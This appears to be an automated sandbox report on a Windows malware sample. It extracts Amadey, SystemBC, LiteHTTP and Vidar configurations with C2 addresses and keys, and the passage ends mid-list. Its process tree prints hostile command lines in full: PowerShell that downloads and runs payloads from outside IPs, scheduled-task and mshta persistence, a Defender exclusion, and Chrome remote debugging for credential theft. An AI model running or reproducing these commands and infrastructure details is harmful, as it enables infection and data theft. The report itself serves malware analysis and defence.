Overview

overview

10

Static

static

5

ca7fd07694...a9.exe

windows7-x64

10

ca7fd07694...a9.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    72s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/03/2025, 00:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ca7fd0769435cdce93bb15e776809875311762a1a332651b4d44b0cea8f875a9.exe
  • Size 938KB
  • Sample250306-ahbhbatmx2
  • SHA256 ca7fd0769435cdce93bb15e776809875311762a1a332651b4d44b0cea8f875a9
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeylitehttpsystembcvidar092155ir7ambotcredential_accessdefense_evasiondiscoveryexecutionpersistencespywarestealertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://185.215.113.16/mine/random.exe

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://176.113.115.7/mine/random.exe

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://176.113.115.7/mine/random.exe

Extracted

Credentials

Extracted

Family

  • amadey

Version

  • 5.21

Botnet

  • 092155

C2

  • http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

  • systembc

C2

  • towerbingobongoboom.com

  • 62.60.226.86

Attributes
  • dns

    5.132.191.104

Extracted

Family

  • litehttp

Version

  • v1.0.9

C2

  • http://185.208.156.162/page.php

Attributes
  • key

    v1d6kd29g85cm8jp4pv8tvflvg303gbl

Extracted

Family

  • vidar

Botnet

  • ir7am

C2

  • https://t.me/l793oy

  • https://steamcommunity.com/profiles/76561199829660832

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 2 IoCs
    stealer
  • LiteHTTP

    LiteHTTP is an open-source bot written in C#.

    stealerbotlitehttp
  • Litehttp family
    litehttp
  • SystemBC

    SystemBC is a proxy and remote administration tool first seen in 2019.

    trojansystembc
  • Systembc family
    systembc
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
    defense_evasion
  • Blocklisted process makes network request 5 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 6 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

    Powershell Invoke Web Request.

    execution
  • Downloads MZ/PE file 13 IoCs
  • Uses browser remote debugging 2 TTPs 10 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 18 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 12 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 62 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3424
    • C:\Users\Admin\AppData\Local\Temp\ca7fd0769435cdce93bb15e776809875311762a1a332651b4d44b0cea8f875a9.exe
      "C:\Users\Admin\AppData\Local\Temp\ca7fd0769435cdce93bb15e776809875311762a1a332651b4d44b0cea8f875a9.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:3612
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /create /tn JecbLmaitu6 /tr "mshta C:\Users\Admin\AppData\Local\Temp\U44e8nmtz.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4208
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn JecbLmaitu6 /tr "mshta C:\Users\Admin\AppData\Local\Temp\U44e8nmtz.hta" /sc minute /mo 25 /ru "Admin" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:852
      • C:\Windows\SysWOW64\mshta.exe
        mshta C:\Users\Admin\AppData\Local\Temp\U44e8nmtz.hta
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1412
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'4HEVSNWDIWR3GAMCNFGHQJEVE1X7BVSB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3984
          • C:\Users\Admin\AppData\Local\Temp4HEVSNWDIWR3GAMCNFGHQJEVE1X7BVSB.EXE
            "C:\Users\Admin\AppData\Local\Temp4HEVSNWDIWR3GAMCNFGHQJEVE1X7BVSB.EXE"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4460
            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
              "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Downloads MZ/PE file
              • Checks BIOS information in registry
              • Checks computer location settings
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Adds Run key to start application
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1844
              • C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe
                "C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1600
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\76D.tmp\77E.tmp\77F.bat C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4796
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"
                    9⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4872
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"
                      10⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Drops startup file
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2796
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3hq2ldxe\3hq2ldxe.cmdline"
                        11⤵
                          PID:1748
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES58C9.tmp" "c:\Users\Admin\AppData\Local\Temp\3hq2ldxe\CSCDDFC2C1F12EC4E808A2A10CED6C631B7.TMP"
                            12⤵
                              PID:4104
                  • C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe
                    "C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe"
                    7⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:4640
                    • C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
                      "C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"
                      8⤵
                      • Downloads MZ/PE file
                      • Checks computer location settings
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:4960
                      • C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe
                        "C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe"
                        9⤵
                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Identifies Wine through registry keys
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • Drops file in Windows directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4220
                  • C:\Users\Admin\AppData\Local\Temp\10107440101\0389b600fa.exe
                    "C:\Users\Admin\AppData\Local\Temp\10107440101\0389b600fa.exe"
                    7⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    • Suspicious use of WriteProcessMemory
                    PID:4068
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c schtasks /create /tn gEyPMmadXw2 /tr "mshta C:\Users\Admin\AppData\Local\Temp\bnjQfCSgl.hta" /sc minute /mo 25 /ru "Admin" /f
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:3336
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /create /tn gEyPMmadXw2 /tr "mshta C:\Users\Admin\AppData\Local\Temp\bnjQfCSgl.hta" /sc minute /mo 25 /ru "Admin" /f
                        9⤵
                        • System Location Discovery: System Language Discovery
                        • Scheduled Task/Job: Scheduled Task
                        PID:4176
                    • C:\Windows\SysWOW64\mshta.exe
                      mshta C:\Users\Admin\AppData\Local\Temp\bnjQfCSgl.hta
                      8⤵
                      • Checks computer location settings
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:2484
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'VUFBUSHF0SXYODOUUZE75VKFK3BHN431.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                        9⤵
                        • Blocklisted process makes network request
                        • Command and Scripting Interpreter: PowerShell
                        • Downloads MZ/PE file
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:4136
                        • C:\Users\Admin\AppData\Local\TempVUFBUSHF0SXYODOUUZE75VKFK3BHN431.EXE
                          "C:\Users\Admin\AppData\Local\TempVUFBUSHF0SXYODOUUZE75VKFK3BHN431.EXE"
                          10⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4588
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10107450121\am_no.cmd" "
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:4224
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 2
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Delays execution with timeout.exe
                      PID:3948
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:2124
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                        9⤵
                        • Command and Scripting Interpreter: PowerShell
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1900
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                      8⤵
                      • System Location Discovery: System Language Discovery
                      PID:636
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                        9⤵
                        • Command and Scripting Interpreter: PowerShell
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1104
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                      8⤵
                      • System Location Discovery: System Language Discovery
                      PID:2968
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                        9⤵
                        • Command and Scripting Interpreter: PowerShell
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4580
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /tn "rQEBVmaAVTd" /tr "mshta \"C:\Temp\1yURt7eZP.hta\"" /sc minute /mo 25 /ru "Admin" /f
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Scheduled Task/Job: Scheduled Task
                      PID:4104
                    • C:\Windows\SysWOW64\mshta.exe
                      mshta "C:\Temp\1yURt7eZP.hta"
                      8⤵
                      • Checks computer location settings
                      • System Location Discovery: System Language Discovery
                      PID:4060
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                        9⤵
                        • Blocklisted process makes network request
                        • Command and Scripting Interpreter: PowerShell
                        • Downloads MZ/PE file
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4560
                        • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                          "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                          10⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3244
                  • C:\Users\Admin\AppData\Local\Temp\10108150101\zY9sqWs.exe
                    "C:\Users\Admin\AppData\Local\Temp\10108150101\zY9sqWs.exe"
                    7⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4668
                  • C:\Users\Admin\AppData\Local\Temp\10108160101\PcAIvJ0.exe
                    "C:\Users\Admin\AppData\Local\Temp\10108160101\PcAIvJ0.exe"
                    7⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    PID:1364
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\5EA5.tmp\5EA6.tmp\5EA7.bat C:\Users\Admin\AppData\Local\Temp\10108160101\PcAIvJ0.exe"
                      8⤵
                        PID:2520
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"
                          9⤵
                          • Blocklisted process makes network request
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1324
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"
                            10⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4816
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z2xbmh2o\z2xbmh2o.cmdline"
                              11⤵
                                PID:1600
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8C3D.tmp" "c:\Users\Admin\AppData\Local\Temp\z2xbmh2o\CSC75D50354595B4C09B739CA329351D8DB.TMP"
                                  12⤵
                                    PID:3096
                        • C:\Users\Admin\AppData\Local\Temp\10108170101\v6Oqdnc.exe
                          "C:\Users\Admin\AppData\Local\Temp\10108170101\v6Oqdnc.exe"
                          7⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4792
                        • C:\Users\Admin\AppData\Local\Temp\10108180101\MCxU5Fj.exe
                          "C:\Users\Admin\AppData\Local\Temp\10108180101\MCxU5Fj.exe"
                          7⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          PID:4164
                          • C:\Users\Admin\AppData\Local\Temp\10108180101\MCxU5Fj.exe
                            "C:\Users\Admin\AppData\Local\Temp\10108180101\MCxU5Fj.exe"
                            8⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4612
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 788
                            8⤵
                            • Program crash
                            PID:1556
                        • C:\Users\Admin\AppData\Local\Temp\10108190101\ce4pMzk.exe
                          "C:\Users\Admin\AppData\Local\Temp\10108190101\ce4pMzk.exe"
                          7⤵
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:220
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Local\Caches\8SgVdVfj\Anubis.exe""
                            8⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:5336
                        • C:\Users\Admin\AppData\Local\Temp\10108200101\mAtJWNv.exe
                          "C:\Users\Admin\AppData\Local\Temp\10108200101\mAtJWNv.exe"
                          7⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          PID:5700
                          • C:\Users\Admin\AppData\Local\Temp\10108200101\mAtJWNv.exe
                            "C:\Users\Admin\AppData\Local\Temp\10108200101\mAtJWNv.exe"
                            8⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:5740
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
                              9⤵
                              • Uses browser remote debugging
                              PID:6104
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xdc,0xe0,0xd4,0xd8,0x104,0x7ff80cf9cc40,0x7ff80cf9cc4c,0x7ff80cf9cc58
                                10⤵
                                  PID:4124
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2040,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2036 /prefetch:2
                                  10⤵
                                    PID:5376
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1872,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2056 /prefetch:3
                                    10⤵
                                      PID:4048
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2260,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2276 /prefetch:8
                                      10⤵
                                        PID:3336
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3084,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3192 /prefetch:1
                                        10⤵
                                        • Uses browser remote debugging
                                        PID:5212
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3200,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3232 /prefetch:1
                                        10⤵
                                        • Uses browser remote debugging
                                        PID:5252
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4540,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4568 /prefetch:1
                                        10⤵
                                        • Uses browser remote debugging
                                        PID:3428
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4676,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4700 /prefetch:8
                                        10⤵
                                          PID:4352
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4304,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4656 /prefetch:8
                                          10⤵
                                            PID:5176
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4308,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5104 /prefetch:8
                                            10⤵
                                              PID:3420
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
